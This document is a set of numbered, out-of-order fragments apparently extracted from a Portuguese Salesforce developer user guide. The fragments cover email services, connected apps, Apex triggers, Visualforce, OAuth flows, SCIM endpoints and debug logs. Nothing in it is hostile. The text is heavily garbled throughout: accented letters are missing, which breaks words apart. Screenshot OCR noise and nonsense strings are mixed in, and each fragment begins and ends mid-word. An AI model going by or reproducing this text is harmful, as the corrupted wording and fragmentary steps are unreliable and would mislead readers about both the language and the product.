407. ns de email por dia N o poss vel copiar os endere os de servi o de email que voc criar no sandbox para sua organiza o de produ o Para cada servi o de email voc pode solicitar que o Salesforce envie mensagens de email de erro para um endere o espec fico em vez do endere o de email do remetente Os servi os de email rejeitam as mensagens de email e notificam o remetente caso o email texto do corpo combinado HTML do corpo e anexos exceda em aproximadamente 10 MB varia de acordo com o idioma e o conjunto de caracteres CONSULTE TAMB M Definindo endere os de servi o de email Definindo servi os de email Usando o objeto InboundEmail Definindo endere os de servi o de email 1 Em Configura o insira Servi os de email nacaixa Busca r pida e selecione Servi os de email Selecione o servi o de email para o qual voc deseja definir o endere o Clique em Novo endere o de email ou em Editar para alterar a configura o de um endere o de servi o de email existente Para excluir um endere o de servi o de email clique em Exibir e Excluir No campo Endere o de email insira a parte do local do endere o de servi o de email O Salesforce gera uma parte exclusiva de dom nio para cada endere o de servi o de email para garantir que n o tenha outro endere o id ntico A parte de dom nio gerada aparece direita do campo Endere o de email Q Dica Para a parte do local de um ender
408. nserir um valor para esse campo O campo URL do aplicativo de tela cont m o URL que chamado para o aplicativo conectado 2 Selecione Prote o por PIN seo aplicativo permitir prote o por PIN Isso d ao administrador a op o de definir o tempo limite da sess o e o comprimento do PIN para aplicativos m veis ap s a instala o do aplicativo conectado A prote o por PIN automaticamente suportada pelo SDK do Salesforce Mobile https developer salesforce com page Mobile SDK Voc tamb m pode implement la manualmente lendo o objeto mobile policy a partir do URL de identidade do usu rio 3 Especifiquea Plataforma do aplicativo escolhendo iOS ou Android na lista suspensa Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o 10 Salesforce 169 Especifique os fatores de forma de dispositivo compat veis com o aplicativo m vel na lista suspensa Restringir ao tipo de dispositivo Os valores poss veis s o Telefone Tablet ou Minitablet Se esse aplicativo for universal ou seja suporta todos os fatores de forma n o escolha nenhum valor Insirao n mero da Vers o do aplicativo do aplicativo m vel Insiraa Vers o m nima do sistema operacional necess ria para o aplicativo Selecione Aplicativo privado para confirmar que esse aplicativo somente para distribui o interna n o p blica Isso necess rio porque a Apple n o permite a distribui o de aplicativos m veis p bl
409. nto sugerido As conclus es s o fornecidas para os objetos e m todos do sistema do Apex m todos e objetos definidos pelo usu rio e sObjects e campos Para ativar o preenchimento autom tico do Apex quando voc digitar um ponto clique em Help Ajuda gt Preferences Prefer ncias e configure Enable Apex Auto complete Ativar preenchimento autom tico do Apex como verdadeiro Edge SE Log ui common apex debug ApexCSIAPI 004 08 11 43 47 Code Coverage None ICCN MOUCINUNDYCIEF Go To abortJob String jobId void system r pl Answers mi ApexPages ni AppExchange ApplicationReadiriteMode assert Boolean condition void system assert Boolean condition ANY msg void system Pi assertEquals ANY expected ANY actual void system 8 assertEquals ANY expected ANY actual ANY msg void system ny AssertException system Continue digitando para filtrar as sugest es pressione ENTER para selecionar o preenchimento superior ou use as teclas de seta ou o mouse para selecionar um preenchimento diferente Os preenchimentos s o coletados a partir do objeto em que voc est trabalhando Se voc n o localizar o preenchimento que espera salve o objeto aberto e atualize O tipo de objeto determinado pela tabela de s mbolo do editor atual Se n o houver s mbolos que correspondam as tabelas de s mbolo em cache a ltima v lida salva tamb m s o verificadas Se n
410. ntrolador ou extens o de controlador personalizados do Visualforce aplicados a uma p gina do Visualforce Os acionadores sempre s o ativados em compromissos de acionador como insert ou update independentemente das configura es do perfil 1 Em Configura o insira Perfis nacaixa Busca r pida em seguida selecione Perfis 2 Selecione um perfil e clique no seu nome 3 Nalista relacionada ou p gina Acesso da classe do Apex clique em Editar 4 Selecione as classes do Apex que deseja ativar na lista de classes do Apex dispon veis e clique em Adicionar Ou selecione as classes do Apex que deseja desativar na lista de classes do Apex ativadas e clique em Remover 5 Clique em Salvar CONSULTE TAMB M Configurar o acesso da classe do Apex a partir da p gina Lista de classes Configurar o acesso da classe do Apex a partir da p gina Detalhes da classe Configurando o acesso da classe Apex de conjuntos de permiss es Criar motivos de compartilhamento do Apex Ao criar o compartilhamento gerenciado do Apex crie motivos de compartilhamento do Apex para objetos individuais personalizados a fim de indicar por que o compartilhamento foi implementado simplificar o c digo necess rio para atualizar e excluir registros de compartilhamento e compartilhar um registro v rias vezes com o mesmo usu rio ou grupo usando diferentes motivos de compartilhamento do Apex Nota Para obter mais informa es sobre o compartilhamento gerenciado
411. nu Depurar O menu do Console do desenvolvedor chamado Debug Depurar permite gerenciar os registros e executar an nimo no Apex Ele inclui as seguintes op es e Open Execute Anonymous Window Abrir janela executar an nimo Abre uma nova janela que permite inserir o c digo do Apex para teste Consulte Executando o c digo do Apex an nimo e Execute Last Executar ltimo Executa a entrada mais recente na janela Inserir c digo do Apex e Switch Perspective Alternar perspectiva Seleciona a perspectiva na lista de perspectivas padr o e personalizadas dispon veis Consulte Inspetor de registro e View Log Panels Exibir pain is de registro Exibe uma lista de pain is dispon veis para uso em uma perspectiva e Perspective Manager Gerenciador de perspectiva Abre o Gerenciador de perspectiva Consulte Gerenciando perspectivas no inspetor de registro Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 11 e Save Perspective Salvar perspectiva Salva as altera es feitas perspectiva atual desde que ela foi aberta e Save Perspective As Salvar perspectiva como Salva uma c pia da perspectiva atual com um nome diferente e Auto Hide Logs Ocultar registros automaticamente Selecione essa op o para desmarcar registros existentes quando a p gina atualizada e Show My Current Logs Only Exibir apenas meus registros atuais Desmarque essa op o marcada por padr o para ver todos o
412. o Deixe a caixa de sele o desmarcada se desejar somente armazenar o c digo nos metadados da organiza o Essa caixa de sele o op o est marcada por padr o Na caixa de texto Corpo insira o Apex para o acionador Um nico acionador pode ter at 1 milh o de caracteres de comprimento Para definir um acionador use a sintaxe seguinte trigger TriggerName on ObjectName trigger events code block emque compromissos do acionador pode ser uma lista separada por v rgulas de um ou mais dos seguintes compromissos e before insert e before update before delete e after insert e after update e after delete e after undelete ota Um acionador chamado por insert delete ou update de um compromisso ou evento recorrente resulta em um erro de tempo de execu o quando chamado em massa da API do Force com Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 52 6 Clique em Salvar Nota Os acionadores s o armazenados com um indicador V lido que definido como verdadeiro contanto que os metadados dependentes n o tenham sido alterados desde a ltima compila o do acionador Se qualquer altera o for feita nos nomes do objeto ou nos campos usados no acionador incluindo altera es superficiais como edi es em uma descri o de objeto ou campo o indicador V lido ser definido como falso at o compilador do Apex processar o c digo novamente
413. o as restri es de acesso apenas oferecem uma prote o limitada aos s controls O Salesforce considera recomend vel ter conhecimento de JavaScript sobre s controls antes de contar com a restri o de acesso para a seguran a de s control e Se um pacote instalado tiver acesso Restrito da API as atualiza es ter o sucesso somente se a vers o atualizada n o tiver nenhum s control Se houver s controls na vers o atualizada ser necess rio alterar o pacote instalado para o acesso Irrestrito da API Aprimorar o Salesforce com c digo Exibindo e editando s controls O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados Para exibir os detalhes de um s control personalizado em Configura o insira S Controls na caixa Busca r pida selecione S Controls e selecione o nome do s control e Para fazer altera es em um s control clique em Editar e Para remover um s control clique em Excluir e Para exibir uma lista de outros componentes do Salesforce que fazem refer ncia ao s control clique em Onde usado a Atributos de s control personalizado Nome do atributo Descri o R tulo Nome do S Control Tipo Descri o O texto exibido nos layouts de p gina de s controls incorporados O nome exclusivo do s control Esse nome pode conter somente s
414. o insira R tulos personalizados nacaixa Busca r pida e selecione R tulos personalizados Clique em Novo r tulo personalizado para criar um novo r tulo ou clique em Editar ao lado do r tulo personalizado que deseja editar Na caixa de texto Descri o breve insira um termo facilmente reconhec vel para identificar este r tulo personalizado Esta descri o usada em campos de mesclagem Nota Voc n o pode alterar o idioma de um r tulo personalizado existente Se voc estiver criando um novo r tulo personalizado na caixa de texto Nome insira o nome usado pelo r tulo Este valor usado no Apex e nas p ginas do Visualforce para fazer refer ncia ao r tulo personalizado Os nomes s devem conter caracteres alfanum ricos come ar por uma letra n o conter espa os ou caracteres de sublinhado duplos e ser diferentes de todos os outros r tulos da sua organiza o Marque a caixa de sele o Componente protegido para marcar o r tulo personalizado como protegido Na caixa de texto Categorias insira texto para categorizar o r tulo Este campo pode ser usado em crit rios de filtro ao criar modos de exibi o de lista de r tulos personalizados Separe cada categoria com uma v rgula O n mero total de caracteres permitidos na caixa de texto Categorias de 255 Na caixa de texto Valor insira texto com at 1 000 caracteres Este valor pode ser traduzido para qualquer idioma suportado pelo Salesforce Nota
415. o uma nica vez 6 Especifique uma hora de in cio preferencial O hor rio exato em que o trabalho come a depende da disponibilidade do servi o 7 Clique em Salvar Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 66 Nota Voc pode ter apenas 100 trabalhos ativos ou agendados simultaneamente Como alternativa poss vel chamar o m todo System scheduleBatch para programar o trabalho em lote para executar uma vez em um hor rio futuro Para obter mais detalhes consulte Usando o m todo System scheduleBatch no Force com Apex Code Developer s Guide Guia do desenvolvedor de c digo do Apex do Force com Depois de voc agendar um trabalho do Apex poder monitorar seu andamento na p gina Todos os trabalhos agendados Quando o trabalho estiver conclu do voc poder ver os dados espec ficos sobre ele como se ele passou ou falhou quanto tempo levou para ser processado o n mero de registros processados e assim por diante na p gina Trabalhos do Apex Perguntas frequentes Perguntas frequentes do Apex Es e Qual a diferen a entre Classes e acionadores do Apex EDICOES e Posso chamar um servi o externo da Web com o Apex e Quais s o os tipos suportados de esquemas WSDL para chamadas do Apex Dispon vel em Salesforce Classic e Lightning Experience Posso chamar um servi o externo da Web com o Apex Sim poss vel ch asd icosdaWeb F d ainal d
416. o Salesforce1 ou o Salesforce para Outlook Por isso talvez voc veja mais aplicativos conectados na sua lista de aplicativos instalados do que o esperado Esses aplicativos conectados do Salesforce s o distribu dos em dois pacotes gerenciados um para aplicativos relacionados ao Salesforcel e outro para aplicativos n o relacionados ao Salesforce1 A lista de aplicativos inclu dos pode ser alterada a cada vers o No entanto Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 178 para simplificar a administra o cada pacote instalado de forma ass ncrona na sua organiza o na primeira vez que um usu rio acessa um desses aplicativos Se voc deseja instalar ou reinstalar proativamente o pacote Salesforce1 para aplicativos conectados pode instal lo a partir do AppExchange Os pacotes aparecem em Configura o na lista Pacotes instalados Clique em cada Nome do pacote para ver a lista de componentes Veja a seguir alguns dos componentes do pacote Aplicativos conectados do Salesforce Nota O IDE do Force com o Force com Migration Tool o Data Loader Bulk e o Data Loader Partner s o aplicativos conectados wrapper que usam a API SOAP para se conectar ao Salesforce em vez de usar o OAuth como fazem outros aplicativos conectados No entanto eles usam a estrutura de aplicativos conectados para permitir ou negar o acesso de usu rios aos aplicativos em uma o
417. o a API REST Use opera es CRUD criar ler atualizar e desativar em usu rios Tamb m atribua e cancele a atribui o de usu rios a um perfil conjunto de permiss es papel ou grupo p blico do Salesforce usando a API REST Veja a seguir os pontos finais de SCIM do Salesforce em que salesforce org url oURL da organiza o como um dom nio personalizado para o usu rio e https salesforce org url services scim vl Users e https salesforce org url services scim vl Groups e hnttps salesforce org url services scim vl Entitlements e hnttps salesforce org url services scim vl Schemas Voc pode solicitar os recursos da implementa o SCIM do Salesforce usando EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es https salesforce org url services scim vl ServiceProviderConfigs Voc pode solicitar as propriedades de um usu rio espec fico usando https salesforce org url services scim vl Users userID emque userID o lD de 18 caracteres da organiza o do usu rio O Salesforce tamb m inclui as seguintes extens es e D do gerente e usu rios externos e atributos personalizados e conjuntos de permiss es As extens es de SCIM corporativo a seguir aparecem sob este URN Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 154 urn scim schemas extension enterprise 1 0 e employeeNumber e divis o e departamento
418. o aplicativo Em seguida cria a funcionalidade reutiliz vel que determina o comportamento com base nos metadados desse tipo De forma semelhante a um objeto personalizado ou configura o personalizada um tipo de metadados personalizados tem uma lista de campos personalizados que representam aspectos dos metadados Ap s criar um tipo de EDICOES Disponivel em Salesforce Classic Disponivel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Enterprise Performance Unlimited Developer e Database com metadados personalizados voc ou outras pessoas podem criar declarativamente registros de metadados personalizados que s o definidos Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 243 por esse tipo Quando voc empacota um tipo de metadados personalizados p blico os clientes que instalam o pacote podem adicionar seus pr prios registros ao tipo de metadados Sua funcionalidade reutiliz vel l os metadados personalizados e os usa para produzir um comportamento de aplicativo personalizado As linhas de metadados personalizados s o semelhantes a linhas de objeto personalizado quanto estrutura Voc cria edita e exclui linhas de metadados personalizados na API de metadados ou em Configura
419. o banco de dados ou depois que os registros s o exclu dos Um acionador associado a um objeto padr o ou personalizado e pode chamar m todos de classes do Apex CONSULTE TAMB M Perguntas frequentes do Apex Aprimorar o Salesforce com c digo Visualforce Visualforce O Visualforce usa uma linguagem de marca o que proporciona aos desenvolvedores uma maneira mais eficiente de criar aplicativos e personalizar a interface de usu rio do Salesforce Com o Visualforce poss vel e Criar interfaces de usu rio personalizadas que facilmente aproveita os estilos padr o do Salesforce e Criar interfaces de usu rio personalizadas que substituam totalmente os estilos padr o do Salesforce e Criar assistentes e outros padr es de navega o que usam regras espec ficas de dados para uma intera o de aplicativos eficiente e tima O Visualforce fornecido com uma ampla biblioteca de componentes que permite desenvolver p ginas com rapidez sem precisar criar v rias funcionalidades Com a linguagem de marca o do Visualforce cada marca corresponde a um componente gen rico ou espec fico como uma se o Guia do usu rio Componentes do Lightning Apex Visualforce 67 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer de uma p gina uma lista relacionada ou um campo Os componen
420. o casos positivos e negativos bem como registros individuais e em lote Isso deve levar cobertura de 75 ou mais do c digo por testes de unidade e Cada acionador deve ter alguma cobertura de teste e Todas as classes e acionadores devem ser compilados corretamente Se o teste chamar outra classe ou fizer um acionador ser executado o Apex ser inclu do no total usado para calcular a porcentagem de c digo coberto Ap s a execu o dos testes os resultados de cobertura de c digo estar o dispon veis no Console do desenvolvedor Para gerar os resultados de cobertura de c digo execute primeiro os testes usando um dos m todos a seguir e Para executar testes a partir do Console do desenvolvedor consulte Criar uma execu o de teste Aprimorar o Salesforce com c digo Guia do usu rio Execu o de teste do Apex 292 e Para executar todos os testes em Configura o insira Apex na caixa Busca r pida selecione Classes do Apex e clique em Executar todos os testes e Para executar testes para uma classe individual em Configura o insira Apex na caixa Busca r pida e selecione Execu o de teste do Apex Clique em Selecionar testes para selecionar as classes que cont m os testes que deseja executar e clique em Executar Ap s executar os testes veja os resultados de cobertura de c digo no Console do desenvolvedor incluindo as linhas de c digos que s o cobertas por testes de uma classe ou acionador individual
421. o cliente solicita que o servidor de autoriza o redirecione o agente do usu rio para outro servidor da Web ou recurso local acess vel ao agente que capaz de extrair a chave de acesso da resposta e transmiti la para o aplicativo cliente Observe que a resposta da chave fornecida como um fragmento de hash no URL Isso serve como seguran a e impede que a chave seja transmitida para o servidor e tamb m para outros servidores em cabe alhos de refer ncia Este fluxo de autentica o de agentes do usu rio n o utiliza o segredo do cliente pois as execut veis do cliente residem no computador ou dispositivo do usu rio final o que torna o segredo do cliente acess vel e explor vel 5 Cuidado Como a chave de acesso codificada no URI de redire o ela pode ser exposta para o usu rio final e outros aplicativos que residem no computador ou dispositivo Se voc estiver autenticando usando JavaScript chame window location replace para remover o callback do hist rico do navegador As descri es de etapa individual est o a seguir 1 O aplicativo cliente direciona o usu rio para o Salesforce para autenticar e autorizar o aplicativo Guia do usu rio Integra o de aplicativos com o Salesforce 221 EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos c
422. o como N o processado e Em andamento Olote est sendo processado no momento Se o trabalho associado a esse lote for anulado O lote mesmo assim ser processado at a conclus o Voc deve encerrar o trabalho associado ao lote para que esse lote possa ser processado at o fim e Conclu do O lote foi processado completamente e o recurso do resultado est dispon vel O recurso do resultado indica se algum registro falhou O batch pode ser conclu do mesmo se um ou todos os registros falharem Se houver falha em um subconjunto de registros os registros bem sucedidos n o ser o restabelecidos e Falha O lote apresentou falha ao processar a solicita o integral em fun o de um erro inesperado como a solu o ser compactada em um formato n o suportado ou a ocorr ncia de um erro interno do servidor e N o processado O lote apresentou falha ao processar a solicita o integral em fun o de um erro inesperado como a solu o ser compactada em um formato n o suportado ou a ocorr ncia de um erro interno do servidor Tempo de O n mero de milissegundos levados para processar o lote Isso exclui o tempo que o lote aguardou em fila para processamento ser processado total ms Exibir Clique no link para um lote para ver a solicita o solicita o Exibir Clique no link para um lote para ver os resultados resultado CONSULTE TAMB M Monitorando trabalhos de carregamento de dados em massa Guia do usu rio Integra o de ap
423. o de an ncios e Campanha e Caso e Contato e Contrato e Campanha do Google e Palavra chave e Lead e Oportunidade e Produto e Frase de pesquisa e Vers o SFGA e Solu o e Anuncio de texto Exibir Exibir um registro s Atividade e Grupo de an ncios e Patrim nio e Campanha e Membro de campanha Aprimorar o Salesforce com c digo ViewAllCampaignMembers ViewCampaigninfluenceReport lt iewPartnerPortalUser lt iewSelfService YahooMaps YahooWeather CONSULTE TAMB M No es b sicas sobre vari veis globais Guia do usu rio Componentes do Lightning Apex Lista todos os membros da campanha Exibe o relat rio Campanhas com oportunidades influenciadas Lista todos os usu rios do portal do parceiro Lista todos os usu rios de auto atendimento Plota um endere o no Yahoo Maps Exibe http weather yahoo com Visualforce 48 e Caso e Contato e Contrato e Compromisso e Campanha do Google e Palavra chave e Lead e Oportunidade e Produto da oportunidade e Produto e Frase de pesquisa e Vers o SFGA e Solu o e An ncio de texto e Objetos personalizados Campanha Campanha Contato Contato e Conta e Contato e Lead Contato Aprimorar o Salesforce com c digo C digo do Apex Vis o geral do c digo do Apex Apex uma linguagem de programa o orientada a objetos com identifica o de tipos forte que permite aos desenvolvedores
424. o de cada uma O painel Notas exibe todas as notas dispon veis para o seu plano de consulta com classifica o mais alta ou seja o plano que est em uso no momento Para exibir planos de consulta referentes a relat rios ou exibi es de lista realize estas etapas 1 Localize o ID do relat rio ou da exibi o de lista em seu URL amp Accounts salesforce cor x e CA Bhttps r e gt Q My Account List View v Edit Delete Create New View J Feed S O Hew Account alB c D ElF GIHlilJ K L M N olP lRisiT u viwix Y Z Other AN 4 Dev User Action Account Hame Account Site Billing State Province Phon Edit Del Burlington Textiles Corp of A NC 336 2 2 Insira o ID do relat rio ou da exibi o de lista no Editor de consulta e clique em Query Plan Plano de consulta 3 Inspecione o plano de consulta referente ao relat rio ou exibi o de lista CONSULTE TAMB M Editor de consulta Executar uma consulta SOQL ou pesquisa SOSL Grade de Resultados da consulta Grade de Resultados da consulta A grade Resultados da consulta exibe cada registro como uma linha poss vel criar atualizar e excluir registros sem sair do Console do desenvolvedor Em resultados de pesquisa SOSL com v rios objetos cada objeto exibido em uma guia separada e Para abrir um registro nos resultados clique na linha e em Open Detail Page Abrir p gina de detalhes Para editar o registro clique em Edit Page Ed
425. o fluxo de trabalho e opera es DML Para visualizar linhas longas que est o truncadas na exibi o passe o mouse sobre a linha para exibir uma janela pop up Execution Log Timestamp Event Details 10 35 16 061 EXECUTION ST a 10 35 16 061 CODE_UNIT_ST EXTERNAL jexecute anonymous apex 10 35 16 064 VARIABLE SCO 1 characters LIST lt String gt truelfalse 10 35 16 086 HEAP_ALLOCATE EXTERNAL Bytes 7 10 35 16 086 HEAP ALLOCATE EXTERNAL Bytes 13 10 35 16 086 STATEMENT EX il 10 35 16 086 STATEMENT EX 1 10 35 16 086 LIMIT USAGE 1 SCRIPT STATEMENTS 1 200000 10 35 16 087 HEAP ALLOCATE 1 Bytes 4 10 35 16 087 SYSTEM CONST 1 lt init gt Q 10 35 16 088 SYSTEM CONST 1 lt init gt 0 10 35 16 088 HEAP ALLOCATE 1 Bytes 5 10 35 16 088 SYSTEM METHO 1 LIST lt String gt add Object 10 35 16 088 SYSTEM METHO 1 LIST lt String gt add Object 10 35 16 088 HEAP_ALLOCATE 1 Bytes 11 ype wi SYSTEM METHO MILIST lt Strina gt add Obiect i 4 E This Frame 7 Executable 7 Debug Only C Filter Use o Registro de execu o para rastrear novamente as etapas por um processo poss vel passar pelas linhas por si mesmo ou filtrar o registro para as linhas de interesse espec fico e This Frame Este quadro Exibe somente esta regi o do processo ou somente os itens associados ao nivel Por exemplo se voc tiver selecionado um acionador que chame uma clas
426. o formato majorNumber minorNumber patchNumber por exemplo 2 1 3 Os n meros maiores e menores aumentam para um valor escolhido em toda vers o principal O patchNumber gerado e atualizado apenas para a vers o do patch Os editores podem usar as vers es do pacote para evolu rem os componentes nos pacotes gerenciados com suavidade lan ando vers es subsequentes do pacote sem romper as integra es existentes com clientes usando o pacote Nota Os componentes do pacote e os componentes personalizados do Visualforce s o conceitos distintos O pacote composto de v rios elementos como objetos personalizados classes e acionadores do Apex e p ginas e componentes personalizados Para definir a API do Salesforce e a vers o do Visualforce para uma p gina ou componente personalizado do Visualforce 1 Edite uma p gina ou componente do Visualforce e clique em Configura es da vers o EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar editar e definir as configura es da vers o para p ginas do Visualforce e Personalizar aplicativo Nota poss vel modificar somente as configura es de vers o de uma p gina ou componente personalizado na guia Configura es da vers o ao editar a p gina ou componente na Configura o 2
427. o necess rio N o ser emitido um token de atualiza o A seguir est o as etapas para o fluxo de autentica o de senhas de nomes de usu rio Mais detalhes sobre cada etapa est o a seguir 1 O consumidor usa o nome de usu rio e a senha do usu rio final para solicitar um token de acesso ID da sess o 2 Ap s a verifica o da solicita o o Salesforce envia uma resposta para o cliente O consumidor pode usar o token de acesso que tem em m os para acessar os dados do Salesforce em nome do usu rio final Solicitar uma chave de acesso Guia do usu rio Integra o de aplicativos com o Salesforce 219 EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados O consumidor pode usar o nome de usu rio e a senha do usu rio final para solicitar um token de acesso que pode ser usado como um ID de sess o Esse fluxo n o oferece suporte inclus o de escopos na solicita o e o token de acesso retornado a partir desse fluxo n o obt m escopos O consumidor deve fazer uma solicita o POST fora de banda para o ponto final da chave com os seguintes par metros e tipo de concess o O valor deve ser senha para este fluxo e client id chave do consumidor a partir da defini o do aplicativo conectado e client secret segredo do consumido
428. o o Userinfo Endpoint 235 uso do Ponto final de configura o de autentica o 239 AppExchange Erros do Apex 55 Aprimorar o Salesforce com c digo introdu o 1 Assistente de provisionamento de usu rios 190 B Bate papo ativando nas p ginas do Visualforce 85 desativando nas p ginas do Visualforce 85 C Campos depend ncias 134 escopo operacional 134 Campos de mesclagem S Controls 130 Certificados de autentica o de cliente fazendo download 135 Chamadas Erro Incapaz de analisar resposta a chamada 66 Classes registros de depura o 289 C digo seguran a 98 colocando faixas de IP na lista de aprovadas do Aplicativo conectado 172 Compartilhamento Motivos de compartilhamento do Apex 93 recalculando o compartilhamento do Apex 94 Componentes do Lightning Lightning Experience 89 Salesforce1 87 Componentes personalizados Visualforce criando 78 exibindo 79 Componentes personalizados Visualforce continua o gerenciando 80 vis o geral 77 Configura es de vers o 58 75 Conjuntos de permiss es Visualforce 97 Console do desenvolvedor abrindo 2 acessando 2 Arquivo 8 9 banco de dados 19 c digo fonte 16 Console do desenvolvedor 256 Modo de exibi o do inspetor de heap dump 256 Depura o 10 depurando 253 255 256 Editar 10 editor de c digo 16 Editor de consulta 11 13 esquema 19 Estado de exibi o 270 execu es de teste 298 exibi es 7 Ferramentas 11 13 270 Grade de Resultados da consulta 11 13
429. o padr o de sites na p gina do Visualforce Assim como todos os r tulos padr o o texto ser exibido com base no idioma e na localidade do usu rio Use essa express o em uma p gina do Visualforce para acessar um r tulo de sites padr o Quando o servidor de aplicativo construir a p gina a ser apresentada ao navegador do usu rio final o valor apresentado depender do idioma e da localiza o do usu rio O Salesforce fornece os seguintes r tulos R tulo Mensagem authorization required Autoriza o obrigat ria bandwidth limit exceeded Limite da largura de banda excedido change password Trocar senha change your password Altere sua senha click forget password Se voc tiver esquecido a senha clique em Senha esquecida para redefini la community nickname Apelido confirm password Confirmar senha down for maintenance lt i gt 0 lt i gt est interrompido para manuten o email Email Aprimorar o Salesforce com c digo R tulo email us enter password error error file not found forgot password forgot password confirmation forgot your password q get in touch go to login page img path in maintenance imit exceeded ogin ogin button ogin or register first ogout new password new user q old password page not found page not found detail senha passwords dont match powered by register registration confirmation site login site under construction Guia do usu rio
430. o procura na linha de assunto do email de entrada a palavra cancelar inscri o Se a palavra for encontrada o c digo localizar todos os contatos e leads que correspondem ao endere o de email De e definir o campo Recusa de email HasOptedOutOfEmail como Verdadeiro Global class unsubscribe implements Messaging inboundEmailHandler Global Messaging InboundEmailResult handleInboundEmail Messaging InboundEmail email Messaging InboundEnvelope env Create an inboundEmailResult object for returning the result of the email servic Messaging InboundEmailResult result new Messaging InboundEmailResult Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex line Visualforce 11 Create contact and lead lists to hold all the updated records List lt Contact gt lc new List lt contact gt List lt Lead gt 11 new List lt lead gt Convert the subject line to lower case so the program can match on lower case String mySubject email subject toLowerCase The search string used in the subject lin String s unsubscribe Check the variable to s if the word unsubscribe was found in the subject Boolean unsubMe Look for the word unsubcribe in the subject lin If it is found return true otherwise return false unsubMe mySubject contains s If unsubscribe is found in the su
431. o provisionamento de usu rios Limita es Habilita es Os pap is e as permiss es do provedor de servi os n o podem ser gerenciados ou armazenados na organiza o do Salesforce Portanto direitos espec ficos relativos a recursos no provedor de servi os n o s o inclu dos quando um usu rio solicita acesso a um aplicativo de terceiros com provisionamento de usu rios ativado poss vel criar uma conta de usu rio de um provedor de servi os mas os demais pap is e permiss es relativos conta devem ser gerenciados por meio do provedor Reconcilia o de conta agendada Execute o assistente de Provisionamento de usu rios sempre que quiser coletar e analisar usu rios no sistema de terceiros N o poss vel configurar um intervalo para coleta e an lise autom ticas Aprimorar o Salesforce com c digo Recertifica o de acesso Guia do usu rio Integra o de aplicativos com o Salesforce 190 Depois da cria o da conta do usu rio a valida o do acesso do usu rio aos recursos no provedor de servi os deve ser realizada no provedor CONSULTE TAMB M Configura o do provisionamento de usu rios para aplicativos conectados Criar provisionamento de usu rios para relat rios personalizados de aplicativos conectados Vis o geral de aplicativos conectados Configura o do provisionamento de usu rios para aplicativos conectados PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para
432. o que explica por que a mensagem foi rejeitada Descartar mensagem O servi o de email exclui a mensagem sem notificar o remetente Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 109 Recolocar mensagem em fila A o para limite da taxa de email excedido apenas O servi o de email recoloca a mensagem em fila para processamento nas pr ximas 24 horas Se a mensagem n o for processada dentro de 24 horas o servi o de email devolver a mensagem ao remetente com uma notifica o explicando o motivo pelo qual ela foi rejeitada 12 Para enviar mensagens de email de erro para um endere o espec fico em vez de o endere o de email do destinat rio selecione Ativar roteamento de erros eespecifique o endere o de email de destinoem Direcionar emails de erro para este endere o de email Isso impede que o destinat rio seja notificado quando os servi os de email n o puderem processar um email de entrada 13 Clique em Salvar para salvar as altera es ou em Salvar e novo endere o de email para criar endere os neste servi o de email conforme descrito em Definindo endere os de servi o de email na p gina 105 CONSULTE TAMB M Definindo endere os de servi o de email O que s o servi os de email Usando o objeto InboundEmail Para cada email recebido pelo dom nio de servi o de email do Apex o Salesforce cria um objeto EDICOES InboundEmail separado com o conte do e os anexos
433. o registros de depura o PERMISS ES DO USU RIO Para usar o console do desenvolvedor Exibir todos os dados Para executar an nimo no Apex Apex do autor Para usar a pesquisa de c digo e executar API ativada SOQL ou SOSL na guia de consulta Para salvar as altera es s classes de Apex do autor Apex e acionadores Para salvar as altera es nas p ginas do Personalizar aplicativo Visualforce e componentes Para salvar as altera es nos recursos do Personalizar aplicativo Lightning EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com A interface de usu rio os Servi os de Email e as Aprova es Salesforce n o est o dispon veis em Database com Um registro de depura o pode registrar opera es do banco de dados processos do sistema e erros ocorridos durante a execu o de uma transa o ou de testes de unidade Os registros de depura o podem conter informa es sobre e Altera es em bancos de dados e Callouts de HTTP e Erros do Apex Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 272 e Recursos usados pelo Apex e Processos automatizados de fluxo de trabalho como Regras do fluxo de trabalho Regras de atribui o Processos de aprova o Regras de valida o O sistema gera um registro de de
